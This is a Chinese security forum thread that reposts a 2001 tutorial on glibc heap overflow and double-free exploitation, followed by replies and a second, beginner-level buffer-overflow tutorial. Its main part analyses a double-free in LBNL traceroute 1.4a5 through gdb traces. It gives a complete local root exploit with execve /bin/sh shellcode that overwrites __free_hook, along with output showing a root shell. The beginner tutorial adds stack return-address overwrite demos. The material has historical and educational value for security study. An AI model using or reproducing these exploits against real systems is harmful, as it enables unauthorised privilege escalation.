  40.    * 如果要为正值,必须找到堆栈里的一个有效值,还要计算偏移,太麻烦。
  41.    * 同时要清两个标记。满足I.,II.条
  42.    */
  43.   *ptr++ = 0xfffffffc & ~(PREV_INUSE | IS_MMAPPED);
  44.   
  45.   /* 将伪造的块放到确定位置。满足第IV条 */
  46.   memcpy (buf + 16 + 8, fake_chunk, sizeof (fake_chunk));

  47.   execle (VULPROG, VULPROG, buf, NULL, env);

  48. }/* End of main */
复制代码

让我们再来测试一下:

[warning3@redhat-6 malloc]$ gcc -o ex1 ex1.c
[warning3@redhat-6 malloc]$ ./ex1
0x8049768 [ buf  ] (40) : AAAAAAAAAAAAAAAA??????D3"????瑧@???
0x8049780 [ buf1 ] (16) : D3"????瑧@???
From buf to buf1 : 24

Before free buf1 <-- 先释放buf1
Before free buf
bash$ exit


6. 实例: Traceroute "-g"问题
      
有了上面的演示程序。我们再来看一个真实世界的例子。      

Traceroute是用来检查通往目标网络的路由情况的一个工具,很多Unix系统都安
装了这个软件。由于traceroute需要操纵原始套接字,因此通常被设置了setuid
root属性。LBNL 1.4a5版的Traceroute(LBNL = Lawrence Berkeley National
Laboratory)存在一个安全漏洞,可以被攻击者用来非法获取root权限。

这个漏洞主要是由于free()函数错误得去释放一块已经释放的内存所引起的。

首先我们看一下traceroute的漏洞出在那里。traceroute使用了一个savestr()函数,它
在savestr.c中,它的作用类似strdup(),用来复制一个字符串。它会自动调用malloc()分
配一块较大的内存空间, 并记录下调用完毕后剩余空间的大小。如果用户下次调用
savestr()时,所需内存比剩余空间还小,就不再调用malloc(),而是直接从已分配的空
间中返回一个地址,这样可以减少调用malloc()的次数。然而,这给用户确定何时需要释
放那块分配的内存带来了麻烦,traceroute中没有仔细考虑这一点,而是将savestr()等
同与strdup()来使用,每次调用savestr()完毕后总会调用free()函数释放内存。因此,
当第二次调用savestr()后,free()所释放的内存,实际上是一块未被分配的内存(因为
这块内存已经被第一次free()所释放了)!

下面舛尉褪莝avestr()的代码:

  1. <...>
  2. /* A replacement for strdup() that cuts down on malloc() overhead */
  3. char *
  4. savestr(register const char *str)
  5. {
  6.         register u_int size;
  7.         register char *p;
  8.         static char *strptr = NULL;
  9.         static u_int strsize = 0;

  10.         size = strlen(str) + 1;
  11.         if (size > strsize) {
  12.                 strsize = 1024;
  13.                 if (strsize < size)
  14.                         strsize = size;
  15.                /* 只有size>strsize的情况下才调用malloc*/         
  16.                 strptr = (char *)malloc(strsize);
  17.                 if (strptr == NULL) {
  18.                         fprintf(stderr, "savestr: malloc\n");
  19.                         exit(1);
  20.                 }
  21.         }
  22.         (void)strcpy(strptr, str);
  23.         p = strptr;
  24.         strptr += size;
  25.         strsize -= size;
  26.         return (p);
  27. }        

  28. <...>
复制代码

我们看一下两次调用savestr()时的情形:

<1>. p = savestr(S)
  
   假设字符串S长度为l(l<1024),则第一次调用savestr(),它会分配1024
   字节长的缓冲区来储存S:
   
     |<----------------------- 1024 bytes -------------------->|
     +----------------------------+----------------------------+
     | S[0] S[1]  ...   S[l-1] \0 |          junk              |
     +----------------------------+----------------------------+
     ^                            ^
     |__ p                        |___ strptr
                                   
     
     这时候剩余空间strsize为: (1024 - l - 1)
                   strptr指向 junk的起始
     
<2>. free(p)

   第一次free()会释放p指向的这块缓冲区(1024字节),它会放一些数据在缓
   冲区的开头
   
     |<----------------------- 1024 bytes -------------------->|
     +-------+--------------------+----------------------------+
     | junk1 | S[k] ... S[l-1] \0 |          junk              |
     +-------+--------------------+----------------------------+
                                  ^
                                  |___ strptr
     这时候p所指向的1024字节大小的缓冲区已经被释放了。
     
<3>. p = savestr(T)

   第二次调用savestr()时,如果字符串T的长度小于strsize(1024 -l -1),
   那么savestr()就不会再次调用malloc()分配新内存,而是直接调用了:
   ....
        (void)strcpy(strptr, str);
        p = strptr;
        strptr += size;
        strsize -= size;
        return (p);
   ....
   将字符串T拷贝到junk的起始处,而实际上,这块内存已经被释放了!        
   拷贝的结果如下:
   
     |<----------------------- 1024 bytes -------------------->|
     +-------+--------------------+--------------------+-------+
     | junk1 | S[k] ... S[l-1] \0 | T[0] ... T[n-1] \0 |  junk2|
     +-------+--------------------+--------------------+-------+
                                  ^                    ^
                                  |__ p                |___ strptr
                                                      
   这时,strptr指向了junk2处,strsize = 1024 -l -1 -n -1                                                        
   p指向原来的chunk起始处。
   
<4>. free(p)
   
   第二次调用free()时,所指向的实际上是一个未分配的缓冲区,这就导致
   一个严重错误。我们看到既然S和T都是我们可以控制的,那么我们就可以
   利用前面所说的两种方法中的任意一种来进行攻击!

下面就是调用'-g'参数时函数执行的一个简单流程。

  1. main()
  2. ....
  3. case 'g':
  4. ...
  5. getaddr(gwlist + lsrr, optarg);

  6. getaddr(register u_int32_t *ap, register char *hostname)
  7. {
  8. register struct hostinfo *hi;

  9. (1) hi = gethostinfo(hostname);
  10. *ap = hi->addrs[0];
  11. (2) freehostinfo(hi);
  12. }

  13. struct hostinfo *
  14. gethostinfo(register char *hostname)
  15. {

  16. ...
  17. (3) hi = calloc(1, sizeof(*hi));
  18. ...
  19. addr = inet_addr(hostname);
  20. if ((int32_t)addr != -1) {
  21. (4) hi->name = savestr(hostname);
  22. hi->n = 1;
  23. (5) hi->addrs = calloc(1, sizeof(hi->addrs[0]));
  24. ...
  25. (6) hi->addrs[0] = addr;
  26. return (hi);
  27. }
复制代码

我们看到,每次getaddr中都会释放hostinfo结构中的每个成员,包括hi->name.(1)
而再第二次调用gethostinfo()时,又会经历两次calloc操作(3,5),以及一次赋值
操作(6)。因此看起来并不象我们原来想象的那么简单,关键在于我们能否控制第
二次free的那块内存的内部结构成员:chunk->size或者是chunk->prev_size.
让我们来跟踪一下:

[root@redhat-6 traceroute-1.4a5]# gdb ./traceroute -q
(gdb) b gethostinfo
Breakpoint 1 at 0x804aae8: file ./traceroute.c, line 1220.
(gdb) r -g 111.111.111.111 -g 0x66.0x77.0x88.0x99 127.0.0.1

Starting program: /usr/src/redhat/BUILD/traceroute-1.4a5/./traceroute -g
   111.111.111.111 -g 0x66.0x77.0x88.0x99 127.0.0.1

Breakpoint 1, gethostinfo (hostname=0xbffffdf3 "111.111.111.111")
    at ./traceroute.c:1220
1220            hi = calloc(1, sizeof(*hi));
(gdb) n
1221            if (hi == NULL) {
(gdb) n
1225            addr = inet_addr(hostname);
(gdb) n
1226            if ((int32_t)addr != -1) {
(gdb) p/x addr  <-- 这是hostname转换后的地址(111.111.111.111)
$2 = 0x6f6f6f6f
(gdb) n   <-- 下一步要为hostname分配1024字节内存
1227                    hi->name = savestr(hostname);
(gdb) n
1228                    hi->n = 1;
(gdb) p/x hi->name  <-- 这是第一次分配返回的地址
$3 = 0x804d518
(gdb) x/8x hi->name -8  
                [prev_size]       [size]        [data...]  
0x804d510:      0x00000000      0x00000409      0x2e313131      0x2e313131
0x804d520:      0x2e313131      0x00313131      0x00000000      0x00000000
(gdb) n   <-- 又动态分配了一块内存
1229                    hi->addrs = calloc(1, sizeof(hi->addrs[0]));
(gdb)
1230                    if (hi->addrs == NULL) {
(gdb) p/x hi->addrs <-- 这块内存是分配在hi->name + 0x400+8这个地址
$4 = 0x804d920
(gdb) n                        
1235                    hi->addrs[0] = addr;
(gdb) n
1236                    return (hi);
(gdb) x/x hi->addrs
0x804d920:      0x6f6f6f6f   <-- 注意,将addr存在这个地址了。
(gdb) c
Continuing.

Breakpoint 1, gethostinfo (hostname=0xbffffe06 "0x66.0x77.0x88.0x99")
    at ./traceroute.c:1220
1220            hi = calloc(1, sizeof(*hi));
[ 这时,前面分配的内存已经全被释放了 ]

(gdb) p/x 0x804d510   <-- 我们看看原来的hi->name内存的情况
$5 = 0x804d510
(gdb) x/10x 0x804d510
                [prev_size]       [size]        [data...]  
0x804d510:      0x0804d920      0x00000af1      0x40108f80      0x40108f80
0x804d520:      0x2e313131      0x00313131      0x00000000      0x00000000
0x804d530:      0x00000000      0x00000000
[ 我们看到我们原来的数据(16个字节)已经改变了 ]
(gdb) n
1221            if (hi == NULL) {
(gdb) x/10x 0x804d510 <--- 执行完第一个calloc(),后,prev_size被清零了。
                [prev_size]       [size]        [data...]  
0x804d510:      0x00000000      0x00000af1      0x40108f80      0x40108f80
0x804d520:      0x2e313131      0x00313131      0x00000000      0x00000000
0x804d530:      0x00000000      0x00000000
(gdb) n
1225            addr = inet_addr(hostname);
(gdb) n
1226            if ((int32_t)addr != -1) {
(gdb) p/x  addr  <-- 这里意味着我们可以构造一个任意的值,并赋给addr
$6 = 0x99887766
(gdb) n
1227                    hi->name = savestr(hostname); <--再次调用savestr()
(gdb) n
1228                    hi->n = 1;
(gdb) p/x hi->name
$7 = 0x804d528       <-- 注意!hi->name的起始位置 =
                        0x804d518 +  第一个-g参数的长度(16)
                                                                                               
(gdb) x/12x 0x804d510
0x804d510:      0x00000000      0x00000af1      0x40108f80      0x40108f80
0x804d520:      0x2e313131      0x00313131   *  0x36367830      0x3778302e
0x804d530:      0x78302e37      0x302e3838      0x00393978      0x00000000
[ 第二个参数的内容从*号处开始 ]

(gdb) n  <-- 下面这个calloc将再分配一段内存
1229                    hi->addrs = calloc(1, sizeof(hi->addrs[0]));
(gdb) n
1230                    if (hi->addrs == NULL) {
(gdb) p/x hi->addrs  < --- 这个地址就是我们第一次savestr()时得到的地址!!!
$8 = 0x804d518
(gdb) p/x sizeof(hi->addrs[0])
$9 = 0x4
(gdb) x/12x 0x804d510     <---   
                [prev_size]       [size]        [data...]  
0x804d510:      0x0804d518      0x00000011      0x00000000      0x00000000
0x804d520:      0x00000000      0x00000ae1   *  0x36367830      0x3778302e
0x804d530:      0x78302e37      0x302e3838      0x00393978      0x00000000
[ 从上面看到,新分配的内存也是从0x804d510开始的,而且将用户数据区的前8个
  字节清零。最顶上的块也移动了16个字节,将0x804d520,0x804d524两个地址的
  数据覆盖了。
]
(gdb) n
1235                    hi->addrs[0] = addr;
(gdb) p/x hi->addrs[0]
$10 = 0x0
(gdb) n
1236                    return (hi);
(gdb) p/x hi->addrs[0]
$11 = 0x99887766
(gdb) p/x &hi->addrs[0]
$12 = 0x804d518
(gdb) x/12x 0x804d510   
                [prev_size]       [size]        [data...]  
0x804d510:      0x0804d518      0x00000011      0x99887766      0x00000000
0x804d520:      0x00000000      0x00000ae1    * 0x36367830      0x3778302e
0x804d530:      0x78302e37      0x302e3838      0x00393978      0x00000000

[ 注意,addr = 0x99887766被存到了0x804d518处,这个值是我们能控制的 ]

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x40073f73 in free () at malloc.c:2952
2952    malloc.c: No such file or directory.

[ 在试图free *号开始地址的内存时出错 ]

为了更容易理解一下,我们可以看一下两次调用savestr()时的图:

第一次调用savestr()后,返回地址p0:

     |<----------------------- 1024 bytes -------------------->|
     +----------------------------+----------------------------+
     | "111.111.111.111" \0       |          junk              |
     +----------------------------+----------------------------+
     ^
     |__ p0

在第二次savestr()后,p0移动到一个新的位置p1=p0 + strlen(hostname) +1。

由于执行了一个calloc()操作,导致从p2开始的12个字节是我们不能控制的.
而幸运的是,由于有一个"hi->addrs[0] = addr"操作,使得p2前面的四个
字节是我们能控制的
     
     |<----------------------- 1024 bytes -------------------->|
     +--------+----------------------+---------------------+---+
     |99887766|0000 0000 0x0ae1|...\0|"0x66.0x77.0x88.0x99"|...|
     +--------+----------------------+---------------------+---+
     | 4字节  |<--- 12字节 --->|     ^           
     p0       p2                     |__ p1

接下来要free(p1)了。根据前面介绍的方法,如果要想利用free(p1),
我们必须能控制p1-4(size)或者p1-8(prev_size)的内容,既然我们能控制
p0开始的4个字节,如果我们能设法使得p1与p2重合,那么我们不就可以
控制p1-4了吗?这样就要求第一个"-g"参数长度为3字节,例如"1.1"
再加上最后的'\0',长度就刚好是4字节了。

     |<----------------------- 1024 bytes -------------------->|
     +--------+------------------------------------------------+
     | "1.1"\0|                                                |
     +--------+------------------------------------------------+
     | 4字节  |     
     p0      

     |<----------------------- 1024 bytes -------------------->|
     +--------+------------------------------------------------+
     | "1.1"\0|"0x66.0x77.0x88.0x99"\0                         |
     +--------+------------------------------------------------+
     | 4字节  |
     p0       p1
     
     |<----------------------- 1024 bytes -------------------->|
     +--------+----------------------------+-------------------+
     |99887766|0000 0000 0x0ae1|"88.0x99"\0|...                |
     +--------+----------------------------+-------------------+
     | 4字节  |<--- 12字节 --->|<--8字节-->|
     p0       p2(p1)           

那么下一步的关键就是如何设置chunk->size,以及将我们的伪造的块放在
什么地方了。
inet_addr()有一个"特性",如果你输入"1.2.3.4 AAAAAA"(注意空格后面
还添加了一些'A'),它并不会报错,返回值为0x04030201.如果输入
"0xaa.0xbb.0xcc.0xdd AAA"这样的字符串,返回值就是0xddccbbaa.我们
可以将伪造的块放在空格后面,将chunk->size放在0xaa.0xbb.0xcc.0xdd
中。例如,第二个"-g"参数使用"0x1d.0x00.0x00.0x00 fake_chunk"
这样得到的chunk->size=0x0000001d。
0x1d这个值是怎么算出来的呢?

chunk = p1 -8
fake_chunk = p1 + strlen("0x1d.0x00.0x00.0x00 ")
           = p1 + 20
           = chunk + 8 + 20
           = chunk + 28
           = chunk + 0x1c
(0x1c | PREV_INUSE) ==> 0x1d

有人也许会说,为什么不将第一个参数长度设得比较大,例如,超过16
字节,这样16字节后面的部分也会在我们的控制之下,利用这些部分来
构造一个prev_size和size不是更方便吗?我开始也是这么考虑的,但是
实际测试时发现,p2所代表块的已经是top块,就是最顶上的块。free(p1)
时,要求p1-8地址低于p2,因此这种方法行不通。

OK,到这里可以说是大功告成了,下面就可以开始写测试程序了。我们利用的
是unlink下一个块的方法。你会发现,一旦原理搞清楚了,这个测试程序是相
当简洁的。 唯一需要知道的,就是__free_hook的地址.如果你有对
/usr/sbin/traceroute的读权限,可以将它拷贝到一个临时目录下,然后使用
gdb,将断点设在exit,然后获取__free_hook.如果没有读权限,可以增加一个
偏移量,自动测试可能的__free_hook,一般按照0x10来递增或递减即可。


  1. /* Exploit for LBNL traceroute with unlinking nextchunk
  2. *                                   - traceroute-ex.c
  3. *
  4. * THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN
  5. * ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR.
  6. *
  7. *           by [email]warning3@nsfocus.com[/email] ([url]http://www.nsfocus.com[/url])
  8. *                                     2001/03/08
  9. */
  10. #include <stdio.h>
  11. #include <stdlib.h>

  12. #define __FREE_HOOK     0x401091b8      /* __free_hook地址 */
  13. #define VULPROG "/usr/sbin/traceroute"

  14. #define PREV_INUSE 0x1
  15. #define IS_MMAPPED 0x2

  16. char shellcode[] =
  17.   "\xeb\x0a\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"   /*这一段是为了跳过垃圾数据 */
  18.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  19.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  20.   "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  21. main (int argc, char **argv)
  22. {
  23.   unsigned int codeaddr = 0;
  24.   char buf[128],fake_chunk[16];
  25.   char *env[2];
  26.   unsigned int *ptr;

  27.   /* 计算shellcode在堆栈中的地址 */
  28.   codeaddr = 0xc0000000 - 4 - (strlen (VULPROG) + 1) - (strlen (shellcode) + 1);

  29.   env[0] = shellcode;
  30.   env[1] = NULL;

  31.   /* 伪造一个块结构。 */
  32.   ptr = (unsigned int *) fake_chunk;
  33.   *ptr++ = 0x11223344 & ~PREV_INUSE;
  34.   *ptr++ = 0xfffffffc;
  35.   *ptr++ = __FREE_HOOK - 12;
  36.   *ptr++ = codeaddr;

  37.   bzero (buf, 128);
  38.   /* 设置chunk->size = ((20+8 = 28 = 0x1c) | PREV_INUSE)= 0x1d */
  39.   memcpy(buf, "0x1d.0x00.0x00.0x00 ", 20);
  40.   memcpy(buf+20, fake_chunk, 16);

  41.   execle (VULPROG, VULPROG, "-g", "1.1", "-g" , buf, "127.0.0.1", NULL, env);

  42. }/* End of main */
复制代码

测试结果:

[warning3@redhat-6 malloc]$ gcc -o ex3 ex3.c
[warning3@redhat-6 malloc]$ ./ex3
bash# id
uid=507(warning3) gid=507(warning3) euid=0(root) groups=507(warning3),100(users)
bash#

★ 结束语:

malloc/free的问题使得在某些平台/系统下,Heap区溢出的危险性大大增加了,
值得引起我们的重视。另外,除了free()可能出问题外,realloc()也可能出问题。
有兴趣的读者可以自行参看一下realloc()的代码。

最初想写这篇文档是在去年10月份,后来由于种种原因,一直拖了下来,
为此被scz骂了很多次。 现在总算完成了。

★ 感谢:

  感谢Solar Designer,Chris Evans,dvorak,Michel Kaempf无私地奉献了他
  们的研究成果。(参见参考文献.)
  
★ 参考文献:

[1] Solar Designer, <<JPEG COM Marker Processing Vulnerability in Netscape Browsers>>
    http://www.openwall.com/advisories/OW-002-netscape-jpeg.txt     
   
[2] Chris Evans, <<Very interesting traceroute flaw>>
    http://security-archive.merton.ox.ac.uk/bugtraq-200009/0482.html
   
[3] dvorak , <<Traceroute exploit + story>>
    http://security-archive.merton.ox.ac.uk/bugtraq-200010/0084.html
   
[4] Michel Kaempf, <<[MSY] Local root exploit in LBNL traceroute>>
    http://security-archive.merton.ox.ac.uk/bugtraq-200011/0081.html
 楼主| 发表于 2003-7-3 23:00:07 | 显示全部楼层
这篇文章对于了解动态内存分配的机制很有好处。文章内容较深。有能力的兄弟看看吧。
发表于 2003-7-4 02:18:21 | 显示全部楼层
谢谢kj,值得看。
发表于 2004-8-6 15:32:21 | 显示全部楼层
堆内存分配不是一件难理解的事。这只是进程(用户态)动态分配内存的其中一种方式而已。

但作者利用堆内存块溢出以及把shellcode地址填充到__free_hook,这才是本文的知识点所在。

文中提及,如果填充"A"字节序列,在第一次free时发生段错误。
但奇怪的是,填充伪造块数据时,第一次free竟然不发生段错误,以致第二次free执行(__free_hook被修改)时执行shellcode,创建一个shell。换言之,如果在第一次free就发生段错误,将不会执行第二次free,也就达不到hack的目的了。

为什么本文中填充伪造块数据将不会使free发生段错误呢?很费解。我始终看不出填充"A"序列越界以及先用16个"A"填充第一个chunk块,然后用fake_chunk填充第二个块,这两种填充方式对于触发段错误的影响的区别。

不难观察,这两种方式都间接填充了第二个chunk块,而第一个chunk块的数据都是"A"序列,不同的是第一种方式使得第二个chunk块的前两个成员填充为无意义的"A"序列,而第二种方式则是通过计算所得的合法chunk数据。总而言之,两种方式只影响了第二块chunk,按常理而言,free第一块chunk和这种影响无关,当然,这种操作同时会检查第二块chunk的P位,第一种方式的P为1,第二种方式的P为0(空闲),但这也和段错误无关阿。

请kj501兄解释一下。顺带说说段错误的本质吧。
发表于 2004-8-6 17:09:58 | 显示全部楼层
以后再看
发表于 2004-8-6 17:18:31 | 显示全部楼层
搜索了有关段错误的旧帖,思索了一下,终于明白了。我说一下我的看法吧。

关于段错误的概念,网上有一段话描述得很形象:
出现Segment fault就有可能存在buffer overflow 的问题。一般的来说只要是遇到对NULL指针进行操作的都可以继续运行,因为在0x0位置的内存一般都禁止用户级的读写操作,如果你忽略信号的话,可以继续运行,不会影响其他的内存数据,但是你的程序里面肯定存在一个没有经过处理的函数返回值。

一般的来说我们在处理返回值是指针类型的函数时,遇到错误都会返回NULL,然后我们可能会拿这个返回的指针作为实参,传递给其他的函数,如果你在调用其它函数的时候将一个值为NULL的指针做为实参传递给另外一个函数,这里就会出问题。

最常见的就是,指针结构体,链表、二叉树、图等。如果p=NULL,而p是一个二叉树的结构指针,那么你引用 p->left,p->right,p->value的时候都会造成Segment fault

一般的来说Segment fault的出现,都预示着程序中存在指针的引用错误。

我认为Segment fault是绝对不能忽略的,碰到这样的信号就应到立即终止执行程序,保证整个系统的安全。

这个例子中,填充"A"序列越界至覆盖第二个chunk的size成员所遇到的段错误有点特殊,free函数内根据chunk的内部指针(对应于返回给用户的mem指针)以及chunk->size来确定下一个chunk的内部指针,如果这个指针超过了brk界限(堆上限),指向进程无法访问的段地址,发生非法访问,就产生段错误信号,使进程崩溃。
0x8049760: p:0x00000000 0x00000019 buf:0x41414141 0x41414141
0x8049770: 0x41414141 0x41414141 p1: 0x41414141 0x00000019
0x8049780: buf1:0x00000000 0x00000000 0x00000000 0x00000000
0x8049790: 0x00000000 0x00000871 0x00000000 0x00000000
0x80497a0: 0x00000000 0x00000000 0x00000000 0x00000000

由于上面的情况下,p1的size部分没有被覆盖,因此系统认为buf前后的块都不
是空闲的,因此就不会有unlink操作,也就不会有段错误发生了。如果我们再增
加几个字节,就没有那么"幸运"了.

/* 根据我的判断,刚才的程序,是在进行这个检查时发生段错误的 */
if (!(inuse_bit_at_offset(next, nextsz)))/* 如果下一个块是空闲的,则与之合并*/

要判断下一个块是否空闲,必须找到下下个块,也就是说,要根据next和next->size来找到next2next=chunk_at_offset(next,next->size),如果next-size被覆盖了,那么得出的next2next就是非法指针。

然而,如果填充伪造chunk数据,由于块2包含了块3,而这个块3的指针也指向合法的地址(也就是(块2-4),这些都包含在两个已分配块的内部),所以不会出现段错误。
| 块1 |.... 块3 ..| 块2 |
+---------------------------------------+------------------------+
|prev_size|size|...........| 0x11223344 |prev_size2|size2|fd2|bk2|
+---------------------------------------+------------------------+
| |<-- 4字节-->| (size3)
| |
|<----- 16字节 -------->|

这样next2next - next = -4 = 0xfffffffc .则块2就可以重新构造一下:

prev_size2 = 0x11223344 & ~PREV_INUSE /* 我们用原来的size3代替 */
size2 = 0xfffffffc /* 长度为-4 */
fd2 = __free_hook - 12 /* 将shellcode地址刚好覆盖到__free_hook地址处 */
bk2 = shellcode

至于块3的prev_size3,我们并不关心,因此并不需要再特别构造。这样一来,
我们的工作就大大简化了,只需要构造一个块2就可以了!


总结可得,出现段错误,正是hack for heap overflow的契机。

ps:楼主这篇文章已经是2001年写的啦,现在按这种方法执行ex,也会出现段错误。这种方法失效了。各位有兴趣可以看看为什么这种方法在最新版本的glibc下会失效。


请各位兄弟修正,我对这种问题不太熟悉。谢谢。
发表于 2004-8-6 18:06:35 | 显示全部楼层
再转贴一篇好文章给大家参考。

缓冲区溢出漏洞入门介绍
文/hokersome

一、引言      
    不管你是否相信,几十年来,缓冲区溢出一直引起许多严重的安全性问题。甚至毫不夸张的说,当前网络种种安全问题至少有50%源自缓冲区溢出的问题。远的不说,一个冲击波病毒已经令人谈溢出色变了。而作为一名黑客,了解缓冲区溢出漏洞则是一门必修课。网上关于溢出的漏洞的文章有很多,但是大多太深或者集中在一个主题,不适合初学者做一般性了解。为此,我写了这篇文章,主要是针对初学者,对缓冲区溢出漏洞进行一般性的介绍。
    缓冲区溢出漏洞是之所以这么多,是在于它的产生是如此的简单。只要C/C++程序员稍微放松警惕,他的代码里面可能就出现了一个缓冲区溢出漏洞,甚至即使经过仔细检查的代码,也会存在缓冲区溢出漏洞。

二、溢出
    听我说了这些废话,你一定很想知道究竟什么缓冲区溢出漏洞,溢出究竟是怎么发生的。好,现在我们来先弄清楚什么是溢出。以下的我将假设你对C语言编程有一点了解,一点点就够了,当然,越多越好。
    尽管缓冲区溢出也会发生在非C/C++语言上,但考虑到各种语言的运用程度,我们可以在某种程度上说,缓冲区溢出是C/C++的专利。相信我,如果你在一个用VB写的程序里面找溢出漏洞,你将会很出名。回到说C/C++,在这两种使用非常广泛的语言里面,并没有边界来检查数组和指针的引用,这样做的目的是为了提高效率,而不幸的是,这也留下了严重的安全问题。先看下面一段简单的代码:

  1. #include<stdio.h>
  2. void main()
  3. {
  4.     char buf[8];
  5.     gets(buf);
  6. }
复制代码

程序运行的时候,如果你输入“Hello”,或者“Kitty”,那么一切正常,但是如果输入“Today is a good day”,那么我得通知你,程序发生溢出了。很显然,buf这个数组只申请到8个字节的内存空间,而输入的字符却超过了这个数目,于是,多余的字符将会占领程序中不属于自己的内存。因为C/C++语言并不检查边界,于是,程序将看似正常继续运行。如果被溢出部分占领的内存并不重要,或者是一块没有使用的内存,那么,程序将会继续看似正常的运行到结束。但是,如果溢出部分占领的正好的是存放了程序重要数据的内存,那么一切将会不堪设想。
    实际上,缓冲区溢出通常有两种,堆溢出和堆栈溢出。尽管两者实质都是一样,但由于利用的方式不同,我将在下面分开介绍。不过在介绍之前,还是来做一些必要的知识预备。

三、知识预备
    要理解大多数缓冲区溢出的本质,首先需要理解当程序运行时机器中的内存是如何分配的。在许多系统上,每个进程都有其自己的虚拟地址空间,它们以某种方式映射到实际内存。我们不必关心描述用来将虚拟地址空间映射成基本体系结构的确切机制,而只关心理论上允许寻址大块连续内存的进程。
    程序运行时,其内存里面一般都包含这些部分:1)程序参数和程序环境;2)程序堆栈,它通常在程序执行时增长,一般情况下,它向下朝堆增长。3)堆,它也在程序执行时增长,相反,它向上朝堆栈增长;4)BSS 段,它包含未初始化的全局可用的数据(例如,全局变量); 5)数据段,它包含初始化的全局可用的数据(通常是全局变量);6)文本段,它包含只读程序代码。BSS、数据和文本段组成静态内存:在程序运行之前这些段的大小已经固定。程序运行时虽然可以更改个别变量,但不能将数据分配到这些段中。下面以一个简单的例子来说明以上的看起来让人头晕的东西:

  1. #include<stdio.h>
  2. char buf[3]="abc";
  3. int i;
  4. void main()
  5. {
  6.   i=1
  7.   return;   
  8. }
复制代码

其中,i属于BBS段,而buf属于数据段。两者都属于静态内存,因为他们在程序中虽然可以改变值,但是其分配的内存大小是固定的,如buf的数据大于三个字符,将会覆盖其他数据。
    与静态内存形成对比,堆和堆栈是动态的,可以在程序运行的时候改变大小。堆的程序员接口因语言而异。在C语言中,堆是经由 malloc() 和其它相关函数来访问的,而C++中的new运算符则是堆的程序员接口。堆栈则比较特殊,主要是在调用函数时来保存现场,以便函数返回之后能继续运行。

四、堆溢出
    堆溢出的思路很简单,覆盖重要的变量以达到自己的目的。而在实际操作的时候,这显得比较困难,尤其是源代码不可见的时候。第一,你必须确定哪个变量是重要的变量;第二,你必须找到一个内存地址比目标变量低的溢出点;第三,在特定目的下,你还必须让在为了覆盖目标变量而在中途覆盖了其他变量之后,程序依然能运行下去。下面以一个源代码看见的程序来举例演示一次简单的堆溢出是如何发生的:

  1. #include "malloc.h"
  2. #include "string.h"
  3. #include "stdio.h"
  4. void main()
  5. {
  6.   
  7.    char *large_str = (char *)malloc(sizeof(char)*1024);
  8.    char *important = (char *)malloc(sizeof(char)*6);
  9.    char *str = (char *)malloc(sizeof(char)*4);
  10.    strcpy(important,"abcdef");//给important赋初值
  11.   
  12.    //下面两行代码是为了看str和important的地址
  13.    printf("%d\n",str);
  14.    printf("%d\n",important);

  15.    gets(large_str);//输入一个字符串
  16.    strcpy(str, large_str);//代码本意是将输入的字符串拷贝到str

  17.    printf("%s\n",important);
  18. }
复制代码

在实际应用中,这样的代码当然是不存在的,这只是一个最简单的实验程序。现在我们的目标是important这个字符串变成"hacker"。str和important的地址在不同的环境中并不是一定的,我这里是7868032和7868080。很好,important的地址比str大,这就为溢出创造了可能。计算一下可以知道,两者中间隔了48个字节,因此在输入溢出字符串时候,可以先输入48个任意字符,然后再输入hakcer回车,哈哈,出来了,important成了"hacker"。
   
   
五、堆栈溢出
    堆溢出的一个关键问题是很难找到所谓的重要变量,而堆栈溢出则不存在这个问题,因为它将覆盖一个非常重要的东西----函数的返回地址。在进行函数调用的时候,断点或者说返回地址将保存到堆栈里面,以便函数结束之后继续运行。而堆栈溢出的思路就是在函数里面找到一个溢出点,把堆栈里面的返回地址覆盖,替换成一个自己指定的地方,而在那个地方,我们将把一些精心设计了的攻击代码。由于攻击代码的编写需要一些汇编知识,这里我将不打算涉及。我们这里的目标是写出一个通过覆盖堆栈返回地址而让程序执行到另一个函数的堆栈溢出演示程序。
    因为堆栈是往下增加的,因此,先进入堆栈的地址反而要大,这为在函数中找到溢出点提供了可能。试想,而堆栈是往上增加的,我们将永远无法在函数里面找到一个溢出点去覆盖返回地址。还是先从一个最简单的例子开始:

  1. void test(int i)
  2. {
  3. char buf[12];
  4. }
  5. void main()
  6. {
  7.   test(1);
  8. }
复制代码

test 函数具有一个局部参数和一个静态分配的缓冲区。为了查看这两个变量所在的内存地址(彼此相对的地址),我们将对代码略作修改:

  1. void test(int i)
  2. {
  3.   char buf[12];
  4.   printf("&i = %d\n", &i);
  5.   printf("&buf[0] = %d\n", buf);
  6. }
  7. void main()
  8. {
  9.   test(1);
  10. }
复制代码

需要说明的是,由于个人习惯的原因,我把地址结果输出成10进制形式,但愿这并不影响文章的叙述。在我这里,产生下列输出:&i = 6684072 &buf[0] = 6684052。这里我补充一下,当调用一个函数的时候,首先是参数入栈,然后是返回地址。并且,这些数据都是倒着表示的,因为返回地址是4个字节,所以可以知道,返回地址应该是保存在从6684068到6684071。因为数据是倒着表示的,所以实际上返回地址就是:buf[19]*256*256*256+buf[18]*256*256+buf[17]*256+buf[16]。
    我们的目标还没有达到,下面我们继续。在上面程序的基础,修改成:

  1. #include <stdio.h>
  2. void main()
  3. {
  4.   void test(int i);
  5.   test(1);
  6. }

  7. void test(int i)
  8. {
  9.   void come();
  10.   char buf[12];//用于发生溢出的数组
  11.   int addr[4];
  12.   int k=(int)&i-(int)buf;//计算参数到溢出数组之间的距离
  13.   int go=(int)&come;
  14.   //由于EIP地址是倒着表示的,所以首先把come()函数的地址分离成字节
  15.   addr[0]=(go << 24)>>24;
  16.   addr[1]=(go << 16)>>24;
  17.   addr[2]=(go << 8)>>24;
  18.   addr[3]=go>>24;
  19.   //用come()函数的地址覆盖EIP
  20.    for(int j=0;j<4;j++)
  21.    {
  22.     buf[k-j-1]=addr[3-j];
  23.    }
  24. }
  25. void come()
  26. {
  27. printf("Success!");
  28. }
复制代码

